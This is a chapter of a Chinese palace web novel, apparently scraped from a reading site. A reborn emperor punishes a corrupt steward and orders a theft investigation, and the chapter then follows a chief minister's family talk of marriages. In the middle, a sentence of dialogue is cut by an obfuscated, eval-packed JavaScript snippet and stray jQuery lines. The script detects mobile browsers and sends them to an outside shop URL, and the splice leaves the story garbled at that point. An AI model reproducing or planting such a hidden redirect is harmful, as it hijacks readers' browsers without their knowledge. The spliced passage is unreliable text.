文趣网 > 其他小说 > 太子是昏君亲自生的 > 6. 绞死了吗
    黄嬷嬷身后跟着两个抬着箱子的小黄门。

    李蕴,“谁把嬷嬷气到了,与我说说,我定不饶他。”

    听到此言,再大的气黄嬷嬷都散了,只是常年严肃的脸笑起来有点为难。

    “官家,小厨房贾栋那厮已经全招了,担任管事这几年他在京中置办了三处房产、城外置了五十亩良田。”

    李蕴慢条斯理地吃着玉豆糕,还给自己倒了一杯六安瓜片,示意黄嬷嬷接着说。

    黄嬷嬷进来后就让到一侧的王大能心里面突了突,深觉接下来不是他应该听的,但官家没让他走,他现在又不好擅自移动,只能够硬着头皮站在一侧。

    黄嬷嬷轻扫了一眼王大能,接着说:“还在他的家乡,由家人占了一千亩上好的水田、三百亩旱地,起了三进三出的敞亮大宅,他侄子为他强娶了一房媳妇,过继了族内一个孩子继香火。”

    李蕴啧了声,“日子过得挺美,一共贪了多少?”

    “搜到的便有白银六千两,黄金五百两,各色珠宝五箱,合计着能有上万两。”

    黄嬷嬷从箱子里拿出一本账册,交给李蕴看。

    李蕴打开看了一眼,纸面上的一撇一捺都是钱,是白花花的银子,换成米粮送到灾区能活很多人!

    他气得扔在地上,账册砸在地上的声音不大,却似惊雷炸在众人耳边。

    “敢让朕吃五十两银子一个的鸡蛋,活刮了都是便宜他的,绞死了吗?”

    “按照官家的吩咐,绞杀了。”

    黄嬷嬷说话更加小心翼翼。

    李蕴不悦地皱了皱眉,道了一声可惜,“阿福。”

    “奴在。”

    李蕴气极反笑。

    五十两一个的鸡蛋,一百两一只的虾,如若不是上辈子宫门被破的时候有宫女指着他的鼻子骂他是昏君,眼鼻子底下的事儿都不知道,他哪里晓得自己平时吃的东西当真是真金白银。

    “召集宫内所有宫人,大娘娘宫中除外,让他们好好看看贾栋的下场。”

    “诺。”阿福。

    阿福正要出去,被黄嬷嬷拦了一下,嬷嬷仔细着说:“官家,不急于一时半刻的,明日午时再召集吧。”

    “即刻,他要是死了化成厉鬼,朕就再杀他一遍。”

    李蕴挥挥手,说得毫不顾忌。

    黄嬷嬷听了却觉得晦气,希望官家慎言,但话到嘴边没有吭声,整个室内只有心思粗的阿福听不出好赖,其他人皆噤若寒蝉、大气都不敢喘一下。

    等官家气平复了一些,黄嬷嬷继续说:“官家,查贾栋的时候揪出一些旁的。”

    李蕴,“说说。”

    “抓到一些偷盗宫中物件到宫外卖的。”

    黄嬷嬷抿嘴,硬着头皮继续说:“有个小黄门供出了慈善宫一个管事,大娘娘那儿,老奴不好打扰,线索就断在了这处。”

    黄嬷嬷始终注意着官家的表情,忽然见他嘴角弯了一点点,那抹笑意,凉得她差点尖叫出声,仿佛地下有暗涌的寒气使劲地钻着她的脚底。

    用了很大的力气,黄嬷嬷才克制住逃跑的冲动。

    她猜的不错,官家果然知道了一些眉目,抓贾栋,就是为了把线引到太后那边去。

    自己奶大的这个孩子,早就不是无依无靠的孩子了,心思深得旁人猜不透。

    纤长白皙的手指上白嫩的玉豆糕显得格外精致,李蕴把玩这这枚糕点没有吭声,实在是被这一消息惊得没招了。

    他按照上辈子所知揪出了一个身边的大贪,没料到阴暗角落里还藏着许多硕鼠,都逮着他这个官家薅。

    “让皇城司指挥使宋钰过来。”

    立刻有小黄门跑了出去,没过多久,在王大能觉得紧咬的牙关快要控制不住发出搁楞搁楞的声音时,皇城司指挥使宋钰走了进来,他已经在外整理过仪容,但匆忙赶来,短暂擦拭掉的汗水再一次布满额头。

    快五十的武官进入到书房没有感受到丝丝凉意,他心下惊愕,官家的确说到做到了,撤掉了花费极多的冰缸,不像有些人阴暗猜度的那样说一套做一套。

    “官家。”

    宋钰收起乱七八糟的思绪,敛容以对。

    李蕴把查小厨房贾栋贪腐一事牵扯到的偷盗宫内财物说了,指着那一箱账册。

    “现此事交给你处理,查出宫外与他们接线销赃的人,追回损失。还有,派一队人去贾栋老家,侵占的良田、妇女归还其家,查清楚地方官是否有隐瞒不报、私相授受的。”

    李蕴弯起嘴角无声冷笑,手上一没留神,用的力道大了一些,白玉糕碎了一地。

    “依律,该抄家抄家,该流放流放,该死就死,不得有一点轻忽。”

    “诺。”

    宋钰应是,从黄嬷嬷那儿交接了一箱账册之后,便赶紧走了出去。

    走到门外,站在明晃晃的阳光里,他不由回头看了眼大殿,里面黑青色的地砖衬得整个室内幽暗如巨兽深不见底的大口,会吞噬掉一切胆敢与之作对的人事物。

    年轻的帝王是不甘受制于人的。

    宋钰轻吁了一口气,不想那么多,立刻领命去办差了。

    殿内,李蕴挥退其他人,自己蹲在地上把碎了一地的白玉糕捡了起来,兜在手上慢慢吃了。

    甜蜜的滋味在口腔中化开,愤懑的情绪缓解了不少。

    他吩咐,“黄嬷嬷,把那个小黄门交给大娘娘处理。”

    皇帝亲政,太后退守深宫,李蕴知道她因为某件事会像个真正的深宫妇人一样深居简出,短暂避开李蕴的锋芒,让上辈子的李蕴有种自己大权在握、无人能挡的错觉。

    现在,把小黄门交给太后,让太后把剩余的线索补齐,他不想宫内偷盗案成为无头案。

    黄嬷嬷深深地埋着头,“诺。”

    等黄嬷嬷离开,书房里剩下的小黄门垫着脚轻手轻脚的走路,生怕发出什么动静,可王大能年纪大了,真的吃不住,挪了挪步子,衣服摩擦出来的细碎声在此刻安静的室内格外明显。

    想事情的李蕴回过神来,看到了僵硬的王大能,他不由笑了笑。

    “王大官,以后小厨房就交由你了,日常饮食家常简单即刻,不许奢靡放纵,像那种取百条鱼腮边软肉做成一道菜的事情,决不允许出现。”

    王大能如蒙大赦,小心应诺做了保证之后,赶紧提出要回去。

    官家近前伺候,真是要紧着自己一身皮肉才行。

    ··

    皇宫大内发生的偷盗,由皇城司查理,官家未移交前朝。

    皇城司数个轻骑带着皇命离开京城的瞬间,内廷里的这件大事宛若投入水中的石头,带起的涟漪急速在朝中扩散了开来。

    沈长河点了卯下值的路上,遇到好几个人旁敲侧击问他发生了什么事情,都让他挡了回去。

    宜佑门处他看到了父亲踩着小几上了青布马车,牵着马快走几步,把缰绳塞进了马夫的手里,自己坐上马车为父亲驾车。

    “爹,坐稳了,我赶车了。”

    沈长河挥动马鞭,鞭尾抽打着空气发出一声脆响,敦厚的枣红色大马发出浅浅嘶鸣后开始移动。

    “等等等,侄儿等下。”

    伴随着急促的脚步声,一个人从侧边小门追了出来,沈长河看清楚是谁后和自家老爹说了一声,得到明确的答复便停下马车等。

    不一会儿,大理寺少卿孟裕提着官袍小跑了过来,不等侍从把小几拿过来,他撑着马车往上爬,沈长河搭了把手,把孟裕拽上了车。

    等孟裕在里头坐稳了,沈长河才开始赶车。

    他驾车稳当,马车出了宫门,进入闹市,马儿走路的节奏丝毫没变。

    在前面领路的班直侧头看了一眼,遥遥与沈长河打了个招呼,马车后面缀着六位班直,并沈家的长随和孟裕的随从。

    街上百姓见到这个阵仗,就知道大官出来了,让到一旁的同时大胆地打量。

    见到沈长河长得俊朗,甚至有姑娘含羞带怯地抛了帕子出来,沈长河目不斜视,没去接帕子,任由手绢轻飘地落在地上,徒留女儿一声遗憾的叹息。

    “还是你家大郎好,我家那臭小子下值之后不知道疯到哪里去了。”

    孟裕把自家臭孩子骂了一顿后,话锋一转,声音低了三分,“沈相,官家是什么意思?”

    沈谧上车后就闭目养神,没有接孟裕的话茬。

    二人于科考时相交相识,曾在岭南那种瘴气吃人的地方共事六年,有着过命的交情。沈谧出任宰相后,把孟裕推荐给了官家,他于今年年初从地方调任大理寺,是沈谧夹袋中的人物。

    孟裕熟悉沈谧的脾气,自顾自地往下说,“问你们秦晋之好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802885|210666||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    究竟有什么用意?带着官家在囿园射箭的那位何家昌南侯也被问了,急得何侯恨不得自家侄女能够立刻长大,生怕皇后之位动摇。”

    何家是太后娘家,为李蕴选定的皇后就出自于这家,现年十二的准皇后还需要三年才能及笄。

    把昌南侯猴急的样子说得绘声绘色的孟裕没注意到沈谧脸上一闪而逝的尴尬与愠怒,为皇帝讲课的六位,独他这位正儿八经的帝师是别人提了才知道皇帝问了这个问题。

    “我听他们私下猜测,官家是要广纳后宫,不想何家在宫中一家独大。”

    孟裕不赞成地摇摇。

    “官家年轻,可不能因此陷入美色,动摇了根基。一旦官家抬美人进宫,我就准备上本,请官家保重龙体。”

    “官家年轻,春秋正盛,贪图一时新鲜是有的,你越是不让他干什么,他就越是要做,上本反而不美。”

    看来沈谧很懂李蕴的脾气,只是懂归懂,他该规劝官家的时候依旧会做,哪怕官家对他不喜。

    孟裕啧了两声,“那些想攀附权贵的,已经开始拾掇自家适龄女郎了,我还听人提了一嘴你家三娘,生怕你跟他抢一样。”

    沈谧养气功夫极佳,但涉及到自家闺女,老父亲是坐不住的。

    “三娘还小。”

    “就是就是。”

    孟裕不断点头,他可是打算过两年为自家幼子求娶三娘的。

    “宫内发生偷盗,官家没让大理寺插手,何少卿下值时脸色很难看。长河,你在御前可要注意些,有什么消息一定要及时告诉你爹,我看朝廷内又要热闹了。”

    很快,周遭安静了下来,一行人已经走出闹市,孟裕没打算去沈家吃饭,半路上下了车。

    宰相有官家赐宅,越往坊内越是安静洁净,很快便到了沈府。

    下了马车,护卫宰相的班直自去休息,沈长河跟在父亲身后往宅内走。

    “想什么呢,喊你几声都没有回应。”

    沈长河像被踩了尾巴似的,急于否定,“没什么。”

    迎上父亲眼中的无奈,沈长河知道自己瞒不过他。

    “爹,官家前几天问我三娘可有许婚。”

    沈谧眉头皱了起来,他年轻时候长得不比儿子差,上了年纪之后又多了许多岁月沉淀的雍容。

    “你怎么回答的?”

    “我说三娘已经许了人家。”

    沈谧看了眼向来稳重的大儿子,没有否定他的说法。

    “欺瞒官家不好,三娘十二,是可以慢慢挑人家了,回头我和你娘说,让她多留意一些。”

    沈长河点头,他斟酌了一下说道:“爹,金枪班内里新来几个年轻班直,其中一个姓柳的是刑部侍郎的长子,他有个弟弟年十五,品貌都不错。”

    “柳侍郎长得挺周正,儿子应该不差。”

    沈谧脑海中浮现出一个人,虽说他和柳侍郎政见上略有不同,但没什么龌龊,可以去探探底。

    眼角余光注意到一道人影飞快闪过,他喊着,“二郎!”

    那道人影顿了顿,假装没听到,跑得更快了。

    “二郎,待会儿到我书房来。”

    远远的传来了沈家二郎的声音,“知道了爹。”

    “偷偷摸摸的,不知道在干嘛。”

    沈谧不是严肃的父亲,没有在家里面拿规矩框住孩子。

    沈长河笑了笑,“我看到长川怀里面抱着个风筝,估计不想让你看见。”

    “哦。”沈谧感兴趣挑挑眉,“你是知道些什么?”

    “李祭酒夫人的外甥女年少失了双亲,现跟着一起住在国子监。”

    沈长河说起这事眉宇间带着些许忧虑,他不是很赞成这桩婚事。

    很显然,父亲沉默了,他也有顾虑。

    走过二门,孩子叽叽喳喳的说笑声变得清晰,沈长河听到父亲问:“你把弟妹的事情想那么周全,你自己呢?”

    沈长河薄唇轻抿,倔犟中透着无力,“我现在还不想成家。”

    “大哥。”

    “大哥。”

    两道童声传来了,是沈长河最年幼的弟妹。

    女孩欢呼:“我先到啦。”

    男孩哼了下,“等下次大哥回家,我一定比你快。”

    沈长河笑了起来,张开双臂抱起了跑过来的妹妹。